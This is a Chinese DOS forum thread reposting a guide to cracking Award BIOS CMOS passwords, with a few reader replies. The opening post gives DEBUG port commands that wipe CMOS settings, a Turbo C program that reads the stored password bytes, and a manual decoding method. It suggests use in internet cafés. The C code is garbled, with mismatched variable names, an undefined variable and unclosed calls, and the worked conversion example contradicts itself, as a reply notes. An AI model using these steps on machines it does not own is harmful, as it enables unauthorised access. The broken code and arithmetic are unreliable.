中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
作者:
标题: 转贴:15秒内破解出cmos密码 上一主题 | 下一主题
yiyesong
元老会员




积分 1987
发帖 632
注册 2002-10-27
状态 离线
『楼 主』:  转贴:15秒内破解出cmos密码

15秒内破解出cmos密码(绝对不清除数据的"绿色环保型")

*如果你只想"15秒绿色环保型"请直接看方法3:

*如果你想对cmos有个深入的了解或揪出本文理解的不足,请看方法0,1,2,3-

----CMOS (Award)密码简介与破解0--3法----
计算机启动时,由存放在主板ROM中的bios将cmos数据调入内存中,以实现控制系统。
其中,Award主板上的一小块RAM用于存放CMOS数据,地址为00-7F的共128个字节中。
当中的字节 1c和1d存放的就是cmos的密码(即Supervisor Password)。
而维持cmos数据存活的当然是那块锂电池了。
端口70h,71h用于对cmos数据的读写。

0-->>不是方法的方法0--万能型也是最烂型:拔电池或跳线(放电)!!---阿鸟破系统密码呢?
1-->>破解方法1--挺烂:
进入dos,用debug
-o 70 10
-o 71 01
-q
重启后,可以直接进入cmos,而没有密码询问了。
这种方法是通过向cmos芯片写入数字,导致开机检测时无法通过其奇偶校验,从而使cmos芯片数据重新恢复到默认的出厂值!!!

唉。。。。!!!好不容易,设置的cmos参数,就这样毁于debug了,55555555555~~~~~别哭别哭,看看下面的2种方法就一切ok了
-->>方法2:当然是编程实现喽,
首先声明:此程序"算法"并不是我编写的,原作者unkown
具体操作简介如下:
outportb(0x70,i); 将i字节的数据写到端口70
cmospass=_inp(0x71); 将71端口的数据读出到终端并存入变量cmospass


程序实现将这两个字节0x1c,0x1d的数据读出来,并转化成四进制,合并成8位即可
----(award主板脆弱的加密方法,难怪只听到award密码的破解。。。)

程序测试系统:win98se


编译工具:turboc2

以下为cmospass的源代码:cmospass.c
代码:
--------------------------------------------------------------------------------

#include
#include
#include
void main()
{
int n;
char comspass;
char temp=0;
printf("\nThis program only is tested at win98 and award bios!!\n";
printf("The password of the cmos is:";

outportb(0x70,0x1d);
comspass=inportb(0x71);
for(n=6;n>=0;n-=2)
{ temp=cmospass;
temp>>=n;
temp=temp&0x03;
printf("%d",temp);
}
outportb(0x70,0x1c);
result=inportb(0x71);
for(n=6;n>=0;n-=2)
{ temp=cmospass;
temp>>=n;
temp=temp&0x03;
printf("%d",temp);
}

printf("\n--By skyjacker";
printf("\n-http://lastknife.yeah.net---Welcome to here!!";
printf("\n----2002.01.04---- \n";
}



3-->>方法3--绿色环保型:
我觉得这也是现在最快,最好,最实用的方法了!!!!!
无论你到哪里,包括网吧好像也是一大堆award吧
如果你暂时无c语言编译器或相关破解程序,用这种的方法也可以快速破解出cmos密码(15秒完全可以了,你用了多少呢?)
主要是看你键盘输入以及实现16进制和4进制的转化的速度(考试啊?-:)


过程有三步:(很简单的,不过说明有点麻烦罢了:)

1。进入ms-dos,键入debug(这不是清除cmos密码吗?---放心,这次不会了,
出现字符“-”,键入如下指令
c:\debug
-o 70 1d
-i 71
xx
-o 70 1c
-i 71
yy
-q

注:xx,yy是显示结果,1d,1c这两个单元存放的是cmos密码加密后的结果,
计下这两个16进制数

2.将他们转化为4进制
比如:
xx是8E,转化后为 2032,
yy为3B,转化后就是0323,

两个合并xxyy为22201001 ,这就是cmos的密码了.
(我的原先密码为87654321同样还有效!!)
如果xx或yy转化后,不足四位则在最前面加"0"凑足四位(比如0323).
如果你的运气不坏的话,成功率为98%以上.(毕竟award主板也有许多别的型号).
3.如果懒的计算的话,用win2000的科学型计算器转化即可(15秒之内如何?).
(win98中无16进制和4进制的转化,非运算不可了




[flash=550,93]http://dos.e-stone.cn/dosbbs
uploadImages/200311161145850422.swf[/flash]
2002-11-21 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
nodkiller
中级用户




积分 224
发帖 19
注册 2002-10-17
状态 离线
『第 2 楼』:  

2023和0323合并后为什么是22201001呢?

[此贴子已经被作者于2002-11-22 13:49:36编辑过]




2002-11-21 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
yiyesong
元老会员




积分 1987
发帖 632
注册 2002-10-27
状态 离线
『第 3 楼』:  

这个我只是转贴,还没有具体的研究。我再看看。



[flash=550,93]http://dos.e-stone.cn/dosbbs
uploadImages/200311161145850422.swf[/flash]
2002-11-23 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
kwtma
初级用户




积分 117
发帖 4
注册 2002-11-8
状态 离线
『第 4 楼』:  

方法3中为何要用四进制换算法,而不是二进制呢?
WIN2000中的科学型计算器也没有四进制换算啊

2002-11-23 00:00
查看资料  发送邮件  发短消息 网志  OICQ (30146694)  编辑帖子  回复  引用回复
我爱DOS
初级用户

香蕉术士


积分 317
发帖 52
注册 2003-5-18
状态 离线
『第 5 楼』:  什么回事





永远支持永远支持
2003-6-4 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
jssyq
银牌会员




积分 1231
发帖 498
注册 2002-12-3
状态 离线
『第 6 楼』:  

如果开机就要密码上面的方法还有用吗



言多必失!必失!!油多菜不坏,礼多人不怪
2003-6-4 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
maple
中级用户




积分 417
发帖 137
注册 2003-5-30
状态 离线
『第 7 楼』:  

先谢谢了!

2003-7-24 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
wangnan16
初级用户




积分 143
发帖 15
注册 2003-5-25
状态 离线
『第 8 楼』:  

不错,以前就看过类似文章可惜没有保存下来。这次可不能错过了。

2003-8-22 00:00
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: